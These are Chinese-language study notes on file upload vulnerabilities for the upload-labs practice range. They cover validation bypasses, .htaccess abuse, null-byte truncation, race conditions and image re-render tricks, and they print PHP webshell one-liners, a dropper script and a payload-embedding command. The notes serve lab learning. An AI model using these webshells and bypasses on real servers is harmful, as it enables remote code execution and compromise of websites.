文件上传漏洞知识总结
字数 1122 2025-08-11 22:57:18
文件上传漏洞知识总结
前端验证绕过
判断前端验证
- 上传文件时,如果还未抓取到数据包浏览器就提示文件类型不正确,则多半是前端验证
绕过方法
-
抓包修改:
- 将shell.php重命名为shell.png上传
- 抓包时将文件名修改回shell.php
-
禁用JS:
- Chrome浏览器在审查元素状态下找到Settings → Debugger → 勾选Disable JavaScript
-
调试JS:
- 审查元素下断点
- 单步调试找到whitelist变量
- 修改数组元素值
- 放行数据包
MIME类型绕过
- 抓取上传数据包
- 修改Content-Type为合法类型(如image/png)
文件头绕过
- 校验图片文件头时,使用标准图马
- 简单方法:在文件开头添加GIF89a
黑名单绕过
缺陷代码1:替换为空
- 使用嵌套后缀绕过(如.pphphp)
缺陷代码2:大小写绕过
- 在Windows环境下使用.PHp等变体
- Linux环境下无效
完整黑名单绕过
- 尝试冷门后缀:phtml、pht、php3、php4、php5等
.htaccess解析规则
- 上传.htaccess文件:
AddType application/x-httpd-php .png - 上传shell.png,该文件将被当做PHP解析
00截断
GET型00截断
- 路径信息通过GET传递
- 在路径后使用%00截断(URL自动解码)
POST型00截断
- 在BP中写入%00
- 手动URL解码
条件竞争
- 准备竞争脚本:
<?php fputs(fopen('xiao.php','w'),'<?php eval($_REQUEST[1]);?>');?> - 上传shell.php
- 使用BP无限爆破上传请求
- 同时爆破访问shell.php的请求
move_uploaded_file缺陷
- 当$img_path可控时,会忽略路径末尾的/.
- 构造payload如shell.php/.即可绕过
二次渲染绕过
GIF
- 准备GIF图片
- 上传并下载渲染后的图片
- 使用010Editor对比原始和渲染后文件
- 在未变化部分插入PHP代码
PNG
写入PLTE数据块
- 仅适用于索引图像(在PS中将图片模式改为索引颜色)
- 使用脚本插入payload:
python poc_png.py -p '<?php eval($_REQUEST[1]);?>' -o gg_shell.png old.png - 可能需要多次渲染
写入IDAT数据块
- 使用特定脚本生成包含payload的PNG
JPG
- 使用脚本将数据插入特定数据块
- 成功要点:
- 图片稍大成功率更高
- payload越短成功率越高
- 白色图片成功率较高
- 多次尝试
- 推荐payload:
<?php $_GET[0]($_POST[1]);?>
代码审计技巧
- 检查MIME类型验证:
$allow_type = array('image/jpeg','image/png','image/gif'); - 检查文件名处理:
if (!is_array($file)) { $file = explode('.', strtolower($file)); } - 构造数组payload绕过:
$file = [0=>'shell.php/', 2=>'png'] - 利用move_uploaded_file缺陷:
会忽略末尾的/.,实际保存为shell.phpmove_uploaded_file($temp_file, 'xx/xx/shell/php/.')
靶场部署
# 进入项目文件夹
cd upload-labs-docker
# 一键部署运行
docker-compose up -d
- 默认运行在30001-30013端口
- 可修改docker-compose.yml自定义端口